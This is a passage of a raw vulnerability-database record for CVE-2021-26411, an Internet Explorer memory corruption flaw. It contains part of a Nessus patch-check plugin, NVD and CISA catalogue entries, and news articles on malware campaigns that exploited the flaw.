https://support.microsoft.com/en-us/topic/march-9-2021-kb5000822-os-build-17763-1817-2eb6197f-e3b1-4f42-ab51-84345e063564\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?1b432623\");\n script_set_attribute(attribute:\"solution\", value:\n\"Apply Cumulative Update KB5000822.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-26897\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_canvas\", value:\"true\");\n script_set_attribute(attribute:\"canvas_package\", value:\"CANVAS\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2021/03/08\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/03/08\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/03/09\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows : Microsoft Bulletins\");\n\n script_copyright(english:\"This script is Copyright (C) 2021-2023 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"smb_check_rollup.nasl\", \"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, \"Host/patch_management_checks\");\n\n exit(0);\n}\n\ninclude('smb_func.inc');\ninclude('smb_hotfixes.inc');\ninclude('smb_hotfixes_fcheck.inc');\ninclude('smb_reg_query.inc');\n\nget_kb_item_or_exit('SMB/MS_Bulletin_Checks/Possible');\n\nvar bulletin = 'MS21-03';\nvar kbs = make_list(\n '5000822'\n);\n\nif (get_kb_item('Host/patch_management_checks')) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit('SMB/Registry/Enumerated');\nget_kb_item_or_exit('SMB/WindowsVersion', exit_code:1);\n\nif (hotfix_check_sp_range(win10:'0') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nvar share = hotfix_get_systemdrive(as_share:TRUE, exit_on_fail:TRUE);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n smb_check_rollup(os:'10',\n sp:0,\n os_build:'17763',\n rollup_date:'03_2021',\n bulletin:bulletin,\n rollup_kb_list:[5000822])\n)\n{\n replace_kb_item(name:'SMB/Missing/'+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, hotfix_get_audit_report());\n}\n", "cvss": {"score": 0.0, "vector": "NONE"}}], "cve": [{"lastseen": "2023-05-27T14:31:45", "description": "Internet Explorer Memory Corruption Vulnerability", "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-03-11T16:15:00", "type": "cve", "title": "CVE-2021-26411", "cwe": ["CWE-787"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 4.9, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "HIGH", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 5.1, "vectorString": "AV:N/AC:H/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26411"], "modified": "2022-05-03T16:04:00", "cpe": ["cpe:/a:microsoft:edge:-", "cpe:/a:microsoft:internet_explorer:11", "cpe:/a:microsoft:internet_explorer:9"], "id": "CVE-2021-26411", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-26411", "cvss": {"score": 5.1, "vector": "AV:N/AC:H/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:microsoft:internet_explorer:11:-:*:*:*:*:*:*", "cpe:2.3:a:microsoft:internet_explorer:9:*:*:*:*:*:*:*", "cpe:2.3:a:microsoft:edge:-:*:*:*:*:*:*:*"]}], "cisa_kev": [{"lastseen": "2023-07-21T17:22:44", "description": "Microsoft Internet Explorer contains an unspecified vulnerability which allows for memory corruption.", "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "Microsoft Internet Explorer Memory Corruption Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 4.9, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "HIGH", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 5.1, "vectorString": "AV:N/AC:H/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26411"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2021-26411", "href": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", "cvss": {"score": 5.1, "vector": "AV:N/AC:H/Au:N/C:P/I:P/A:P"}}], "thn": [{"lastseen": "2022-05-09T12:39:25", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjoNnACNL4tRXhmeRID1KNB0_0j084PU17zaVDx1SxcV1CFt2BlV43KNXnZkDDAR985mEgiQcsym3EvrPBUSnvxY2MeEYVkQM4xXlSNUzbLB98CzlGZ4a9VsE0crb-4OSGd6167GXHRqsv_Q1nVk-reN0Jwy6FUir34MAXaXtejrxv4Fdin_zG4w0Hy/s728-e100/Malware-botnet.jpg>)\n\nA new campaign leveraging an exploit kit has been observed abusing an Internet Explorer flaw patched by Microsoft last year to deliver the RedLine Stealer trojan.\n\n\"When executed, RedLine Stealer performs recon against the target system (including username, hardware, browsers installed, anti-virus software) and then exfiltrates data (including passwords, saved credit cards, crypto wallets, VPN logins) to a remote command and control server,\" Bitdefender [said](<https://www.bitdefender.com/blog/labs/redline-stealer-resurfaces-in-fresh-rig-exploit-kit-campaign/>) in a new report shared with The Hacker News.\n\nMost of the infections are located in Brazil and Germany, followed by the U.S., Egypt, Canada, China, and Poland, among others.\n\nExploit kits or exploit packs are comprehensive tools that contain a collection of exploits designed to take advantage of vulnerabilities in commonly-used software by scanning infected systems for different kinds of flaws and deploying additional malware.\n\nThe primary infection method used by attackers to distribute exploit kits, in this case the [Rig Exploit Kit](<https://blog.talosintelligence.com/2016/11/rig-exploit-kit-campaign-happy-puzzling.html>), is through compromised websites that, when visited, drops the exploit code to ultimately send the RedLine Stealer payload to carry out follow-on attacks.\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEiTiqBiBM_tUQDifo7wSzoSmySElE7plr5n8i313DuMqdGIvgxgtI8BwkXKvGn9BhTFJbL5wO3nEo5epjh_wK6NXHiY5HX4H-zBXR1biJrlrDoHMp0kOD9TpOFTAquH1yuDwBTqaA8sHb5ykwjftMSl6orvCwshZvLvvUeR9n89rn2ExztZfMlrZ9Zz/s728-e100/malware-redline.jpg>)\n\nThe flaw in question is [CVE-2021-26411](<https://thehackernews.com/2021/03/microsoft-issues-security-patches-for.html>) (CVSS score: 8.8), a memory corruption vulnerability impacting Internet Explorer that has been [previously](<https://thehackernews.com/2021/07/hackers-exploit-microsoft-browser-bug.html>) [weaponized](<https://thehackernews.com/2021/08/nk-hackers-deploy-browser-exploit-on.html>) by North Korea-linked threat actors. It was addressed by Microsoft as part of its Patch Tuesday updates for March 2021.\n\n\"The RedLine Stealer sample delivered by RIG EK comes packed in multiple encryption layers [...] to avoid detection,\" the Romanian cybersecurity firm noted, with the unpacking of the malware progressing through as many as six stages.\n\nRedLine Stealer, an information-stealing malware sold on underground forums, comes with features to exfiltrate passwords, cookies and credit card data saved in browsers, as well as crypto wallets, chat logs, VPN login credentials and text from files as per commands received from a remote server.\n\nThis is far from the only campaign that involves the distribution of RedLine Stealer. In February 2022, HP [detailed](<https://threatresearch.ext.hp.com/redline-stealer-disguised-as-a-windows-11-upgrade/>) a social engineering attack using fake Windows 11 upgrade installers to trick Windows 10 users into downloading and executing the malware.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-04-28T08:20:00", "type": "thn", "title": "New RIG Exploit Kit Campaign Infecting Victims' PCs with RedLine Stealer", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 4.9, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "HIGH", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 5.1, "vectorString": "AV:N/AC:H/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26411"], "modified": "2022-04-28T08:20:39", "id": "THN:4225CEE6D7775276254C20B6E19126AE", "href": "https://thehackernews.com/2022/04/new-rig-exploit-kit-campaign-infecting.html", "cvss": {"score": 5.1, "vector": "AV:N/AC:H/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:39:17", "description": "[](<https://thehackernews.com/images/-I2pNCdG5Z4Q/YQLGX235y6I/AAAAAAAADYo/5ghaW_-O9UcVkr2h1ElM9OK55A4BtxsUwCLcBGAsYHQ/s0/malware-attack.jpg>)\n\nAn unidentified threat actor has been exploiting a now-patched zero-day flaw in Internet Explorer browser to deliver a fully-featured VBA-based remote access trojan (RAT) capable of accessing files stored in compromised Windows systems, and downloading and executing malicious payloads as part of an \"unusual\" campaign.\n\nThe backdoor is distributed via a decoy document named \"Manifest.docx\" that loads the exploit code for the vulnerability from an embedded template, which, in turn, executes shellcode to deploy the RAT, according to cybersecurity firm Malwarebytes, which spotted the suspicious Word file on July 21, 2021. \n\nThe malware-laced document claims to be a \"Manifesto of the inhabitants of Crimea\" calling on the citizens to oppose Russian President Vladimir Putin and \"create a unified platform called 'People's Resistance.'\"\n\nThe Internet Explorer flaw, tracked as **CVE-2021-26411**, is notable for the fact that it was abused by the North Korea-backed Lazarus Group to [target security researchers](<https://thehackernews.com/2021/01/n-korean-hackers-targeting-security.html>) working on vulnerability research and development.\n\nEarlier this February, South Korean cybersecurity firm ENKI [revealed](<https://enki.co.kr/blog/2021/02/04/ie_0day.html>) the state-aligned hacking collective had made an unsuccessful attempt at targeting its security researchers with malicious MHTML files that, when opened, downloaded two payloads from a remote server, one of which contained a zero-day against Internet Explorer. Microsoft [addressed the issue](<https://thehackernews.com/2021/03/microsoft-issues-security-patches-for.html>) as part of its Patch Tuesday updates for March.\n\n[](<https://thehackernews.com/images/-lZ4BcbcuZ5w/YQLCARxT1bI/AAAAAAAADYg/ng5r_-f-4f0B0RS2Mf-rIkCbF0u_7vKTQCLcBGAsYHQ/s0/malware.jpg>)\n\nThe Internet Explorer exploit is one of the two ways that's used to deploy the RAT, with the other method relying on a social engineering component that involves downloading and executing a remote macro-weaponized template containing the implant. Regardless of the infection chain, the use of double attack vectors is likely an attempt to increase the likelihood of finding a path into the targeted machines.\n\n\"While both techniques rely on template injection to drop a full-featured remote access trojan, the IE exploit (CVE-2021-26411) previously used by the Lazarus APT is an unusual discovery,\" Malwarebytes researcher Hossein Jazi said in a [report](<https://blog.malwarebytes.com/threat-intelligence/2021/07/crimea-manifesto-deploys-vba-rat-using-double-attack-vectors/>) shared with The Hacker News. \"The attackers may have wanted to combine social engineering and exploit to maximize their chances of infecting targets.\"\n\nBesides collecting system metadata, the VBA RAT is orchestrated to identify antivirus products running on the infected host and execute commands it receives from an attacker-controlled server, including reading, deleting, and downloading arbitrary files, and exfiltrate the results of those commands back to the server.\n\nAlso discovered by Malwarebytes is a PHP-based panel nicknamed \"Ekipa\" that's used by the adversary to track victims and view information about the modus operandi that led to the successful breach, highlighting successful exploitation using the IE zero-day and the execution of the RAT.\n\n\"As the [conflict between Russia and Ukraine](<https://en.wikipedia.org/wiki/Russo-Ukrainian_War>) over Crimea continues, cyber attacks have been increasing as well,\" Jazi said. \"The decoy document contains a manifesto that shows a possible motive (Crimea) and target (Russian and pro-Russian individuals) behind this attack. However, it could also have been used as a false flag.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-29T15:18:00", "type": "thn", "title": "Hackers Exploit Microsoft Browser Bug to Deploy VBA Malware on Targeted PCs", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 4.9, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "HIGH", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 5.1, "vectorString": "AV:N/AC:H/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26411"], "modified": "2021-07-29T15:18:26", "id": "THN:BE0D8117CAD7D5DE97C405935DA09BC3", "href": "https://thehackernews.com/2021/07/hackers-exploit-microsoft-browser-bug.html", "cvss": {"score": 5.1, "vector": "AV:N/AC:H/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:39:13", "description": "[](<https://thehackernews.com/images/-QrNW2pGZsXM/YRzFeUzLNRI/AAAAAAAADkA/5jruQy-AgDkRdhW-7PzZoHP3-W90X5EowCLcBGAsYHQ/s0/north-korea.jpg>)\n\nA North Korean threat actor has been discovered taking advantage of two exploits in Internet Explorer to infect victims with a custom implant as part of a strategic web compromise (SWC) targeting a South Korean online newspaper.\n\nCybersecurity firm Volexity [attributed](<https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/>) the watering hole attacks to a threat actor it tracks as InkySquid, and more widely known by the monikers ScarCruft and APT37. Daily NK, the publication in question, is said to have hosted the malicious code from at least late March 2021 until early June 2021.\n\nThe \"clever disguise of exploit code amongst legitimate code\" and the use of custom malware enables the attackers to avoid detection, Volexity researchers said.\n\nThe attacks involved tampering with the jQuery JavaScript libraries hosted on the website to serve additional obfuscated JavaScript code from a remote URL, using it to leverage exploits for two Internet Explorer flaws that were patched by Microsoft in [August 2020](<https://thehackernews.com/2020/08/microsoft-software-patches.html>) and [March 2021](<https://thehackernews.com/2021/03/microsoft-issues-security-patches-for.html>). Successful exploitation resulted in the deployment of a Cobalt Strike stager and novel backdoor called BLUELIGHT. \n\n * [CVE-2020-1380](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2020-1380>) (CVSS score: 7.5) - Scripting Engine Memory Corruption Vulnerability\n * [CVE-2021-26411](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-26411>) (CVSS score: 8.8) - Internet Explorer Memory Corruption Vulnerability\n\nIt's worth noting that both the flaws have been actively exploited in the wild, with the latter put to use by North Korean hackers to compromise security researchers working on vulnerability research and development in a campaign that came to light earlier this January.\n\n[](<https://thehackernews.com/images/-E1lELfCsvpg/YRzEM-DMMLI/AAAAAAAADj4/gtN3LyfaO0MLnrYMwpl1LkoMvGFkm1TXACLcBGAsYHQ/s0/exploit.jpg>)\n\nIn a [separate set of attacks](<https://thehackernews.com/2021/07/hackers-exploit-microsoft-browser-bug.html>) disclosed last month, an unidentified threat actor was found exploiting the same flaw to deliver a fully-featured VBA-based remote access trojan (RAT) on compromised Windows systems.\n\nBLUELIGHT is used as a secondary payload following the successful delivery of Cobalt Strike, functioning as a full-featured remote access tool that provides complete access to a compromised system.\n\nIn addition to gathering system metadata and information about installed antivirus products, the malware is capable of executing shellcode, harvesting cookies and passwords from Internet Explorer, Microsoft Edge, and Google Chrome browsers, collecting files and downloading arbitrary executables, the results of which are exfiltrated to a remote server.\n\n\"While SWCs are not as popular as they once were, they continue to be a weapon in the arsenal of many attackers,\" the researchers noted. \"The use of recently patched exploits for Internet Explorer and Microsoft Edge will only work against a limited audience.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-08-18T08:33:00", "type": "thn", "title": "NK Hackers Deploy Browser Exploits on South Korean Sites to Spread Malware", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 4.9, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "HIGH", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.6, "vectorString": "AV:N/AC:H/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-1380", "CVE-2021-26411"], "modified": "2021-08-18T14:51:37", "id": "THN:FA6A50184463DFCD20073D5EDD0F36F2", "href": "https://thehackernews.com/2021/08/nk-hackers-deploy-browser-exploit-on.html", "cvss": {"score": 7.6, "vector": "AV:N/AC:H/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-12-01T10:08:46", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEguuDZ3qs5lgaYGEPnkSvUwvjWoNLjrTPyh6zE6rNWPcfcoi3sbiwfWOE2OLG0ZgwzBaMEgd3nhemOfZBAjXWZrvTA_2pQuFLY_ZXqKZSxQPLxDkah_q7LPIPUgatzeBpkofWujSyJFMviobYflgfFhDwuA5mkETfxo_1c2RwXl7Xqhm__-JyX2Qv5f/s728-e100/north-korean-hackers.png>)\n\nThe North Korea-linked **ScarCruft** group has been attributed to a previously undocumented backdoor called **Dolphin** that the threat actor has used against targets located in its southern counterpart.\n\n\"The backdoor [...] has a wide range of spying capabilities, including monitoring drives and portable devices and exfiltrating files of interest, keylogging and taking screenshots, and stealing credentials from browsers,\" ESET researcher Filip Jur\u010dacko [said](<https://www.welivesecurity.com/2022/11/30/whos-swimming-south-korean-waters-meet-scarcrufts-dolphin/>) in a new report published today.\n\nDolphin is said to be selectively deployed, with the malware using cloud services like Google Drive for data exfiltration as well as command-and-control.\n\nThe Slovak cybersecurity company said it found the implant deployed as a final-stage payload as part of a watering hole attack in early 2021 directed against a South Korean digital newspaper.\n\nThe campaign, first uncovered by [Kaspersky](<https://securelist.com/apt-trends-report-q2-2021/103517/>) and [Volexity](<https://thehackernews.com/2021/08/nk-hackers-deploy-browser-exploit-on.html>) last year, [entailed](<https://thehackernews.com/2021/11/new-chinotto-spyware-targets-north.html>) the weaponization of two Internet Explorer flaws ([CVE-2020-1380](<https://nvd.nist.gov/vuln/detail/CVE-2020-1380>) and [CVE-2021-26411](<https://nvd.nist.gov/vuln/detail/CVE-2021-26411>)) to drop a backdoor named BLUELIGHT.\n\nScarCruft, also called APT37, InkySquid, Reaper, and Ricochet Chollima, is a geo-political motivated APT group that has a track record of attacking government entities, diplomats, and news organizations associated with North Korean affairs. It's been known to be active since at least 2012.\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEhItcVkM0m5zhqX10j4Fv2rPPP2We8o6mht_lw30dkUTqLNwYuZHBoHN0gjkkpvBqmX1HKaPOPG66yONSngGcbyPcS1fuUejlqggkNCggwrwmUu5IqQAAmE-8oXLWjigA1mb6AZoRm0XvLdfO8e24VTID9ZToUk_vqWUAesZVlXaXLpGkMKksGL2xEJ/s728-e100/hacker.png>)\n\nEarlier this April, cybersecurity firm Stairwell [disclosed](<https://thehackernews.com/2022/04/north-korean-hackers-target-journalists.html>) details of a spear-phishing attack targeting journalists covering the country with the ultimate goal of deploying a malware dubbed GOLDBACKDOOR that shares tactical overlaps with BLUELIGHT.\n\nThe latest findings from ESET shed light on a second, more sophisticated backdoor delivered to a small pool of victims via BLUELIGHT, indicative of a highly-targeted espionage operation.\n\nThis, in turn, is achieved by executing an installer shellcode that activates a loader comprising a Python and shellcode component, the latter of which runs another shellcode loader to drop the backdoor.\n\n\"While the BLUELIGHT backdoor performs basic reconnaissance and evaluation of the compromised machine after exploitation, Dolphin is more sophisticated and manually deployed only against selected victims,\" Jur\u010dacko explained.\n\nWhat makes Dolphin a lot more potent than BLUELIGHT is its ability to search removable devices and connected smartphones, and exfiltrate files of interest, such as media, documents, emails, and certificates.\n\nThe backdoor, since its original discovery in April 2021, is said to have undergone three successive iterations that come with its own set of feature improvements and grant it more detection evasion capabilities.\n\n\"Dolphin is another addition to ScarCruft's extensive arsenal of backdoors abusing cloud storage services,\" Jur\u010dacko said. \"One unusual capability found in prior versions of the backdoor is the ability to modify the settings of victims' Google and Gmail accounts to lower their security, presumably in order to maintain account access for the threat actors.\"\n\n \n\n\nFound this article interesting? Follow us on [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-11-30T18:30:00", "type": "thn", "title": "North Korea Hackers Using New \"Dolphin\" Backdoor to Spy on South Korean Targets", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 4.9, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "HIGH", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.6, "vectorString": "AV:N/AC:H/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-1380", "CVE-2021-26411"], "modified": "2022-12-01T09:22:08", "id": "THN:27562A9FDA5CEBF33FAC792C73F4B06E", "href": "https://thehackernews.com/2022/12/north-korea-hackers-using-new-dolphin.html", "cvss": {"score": 7.6, "vector": "AV:N/AC:H/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-12-09T18:09:08", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEh1nnpR24kvDx1aH-Icv1qXYk0M_wdTpu6nkdmt5aMTJe9wpMg0vvVnEw9FPAw78W2GY8s_fuJQeqv3q66nVGwOSRDPftYMKrIzIA6f1ikGEJWGGh4qlk401veeU8p9pCyp1aXhC1kpwnOj-QKJAYODctXmQw6L7FhaMTEpTXHCvgNqJrFAH-emvNhK/s728-e100/IE.png>)\n\nAn Internet Explorer zero-day vulnerability was actively exploited by a North Korean threat actor to target South Korean users by capitalizing on the recent [Itaewon Halloween crowd crush](<https://en.wikipedia.org/wiki/Seoul_Halloween_crowd_crush>) to trick users into downloading malware.\n\nThe discovery, reported by Google Threat Analysis Group researchers Beno\u00eet Sevens and Cl\u00e9ment Lecigne, is the latest set of attacks perpetrated by **ScarCruft**, which is also called APT37, InkySquid, Reaper, and Ricochet Chollima.\n\n\"The group has historically focused their targeting on South Korean users, North Korean defectors, policy makers, journalists, and human rights activists,\" TAG [said](<https://blog.google/threat-analysis-group/internet-explorer-0-day-exploited-by-north-korean-actor-apt37/>) in a Thursday analysis.\n\nThe new findings illustrate the threat actor's continued abuse of Internet Explorer flaws such as CVE-2020-1380 and CVE-2021-26411 to drop backdoors like [BLUELIGHT and Dolphin](<https://thehackernews.com/2022/12/north-korea-hackers-using-new-dolphin.html>), the latter of which was disclosed by Slovak cybersecurity firm ESET late last month.\n\nAnother key tool in its arsenal is [RokRat](<https://thehackernews.com/2021/01/alert-north-korean-hackers-targeting.html>), a Windows-based remote access trojan that comes with a wide range of functions that allow it to capture screenshots, log keystrokes, and even harvest Bluetooth device information.\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgEUE0iMMY7AkFgxLDL3f3WZY8lHS8vjMnIdXxVIKgFOvtuxq6gT2AkGbu49pEcdsV9-fNSjd4Hdji-98P8QRijj0QV2EJOjYOCG5qF4OUPl6UqFblFLZix3h_kvynUedhPBbjT_JX1UCAwdNeHr0SCvaG7roz2PzN-annb8Y2_VV0y7reuoQtmel06/s728-e100/IE.png>)\n\nThe attack chain observed by Google TAG entails the use of a malicious Microsoft Word document that was [uploaded to VirusTotal](<https://www.virustotal.com/gui/file/926a947ea2b59d3e9a5a6875b4de2bd071b15260370f4da5e2a60ece3517a32f/>) on October 31, 2022. It abuses yet another Internet Explorer zero-day flaw in the JScript9 JavaScript engine, CVE-2022-41128, that was [patched by Microsoft](<https://thehackernews.com/2022/11/install-latest-windows-update-asap.html>) last month.\n\nThe file references the October 29 incident that took place in the Itaewon neighborhood of Seoul and exploits public interest in the tragedy to retrieve an exploit for the vulnerability upon opening it. The attack is enabled by the fact that Office renders HTML content using Internet Explorer.\n\nAs the [MalwareHunterTeam](<https://twitter.com/malwrhunterteam/status/1600759995020124160>) points out, the same Word file was previously shared by the Shadow Chaser Group on October 31, 2022, [describing](<https://twitter.com/ShadowChasing1/status/1587035660992454656>) it as an \"interesting DOCX injection template sample\" that originated from Korea.\n\nSuccessful exploitation is followed by the delivery of a shellcode that wipes all traces by clearing the Internet Explorer cache and history as well as downloading the next stage payload.\n\nGoogle TAG said it could not recover the follow-on malware used in the campaign, although it's suspected to have involved the deployment of RokRat, BLUELIGHT, or Dolphin.\n\n\"It is not surprising that they continue to target South Korean users,\" ESET malware analyst Filip Jur\u010dacko told The Hacker News. \"We haven't seen ScarCruft use zero-day exploits for some time. Previously, they were repurposing public PoCs of n-day exploits.\"\n\n\"Given the rarity/scarcity of zero-day exploits, we expect ScarCruft would 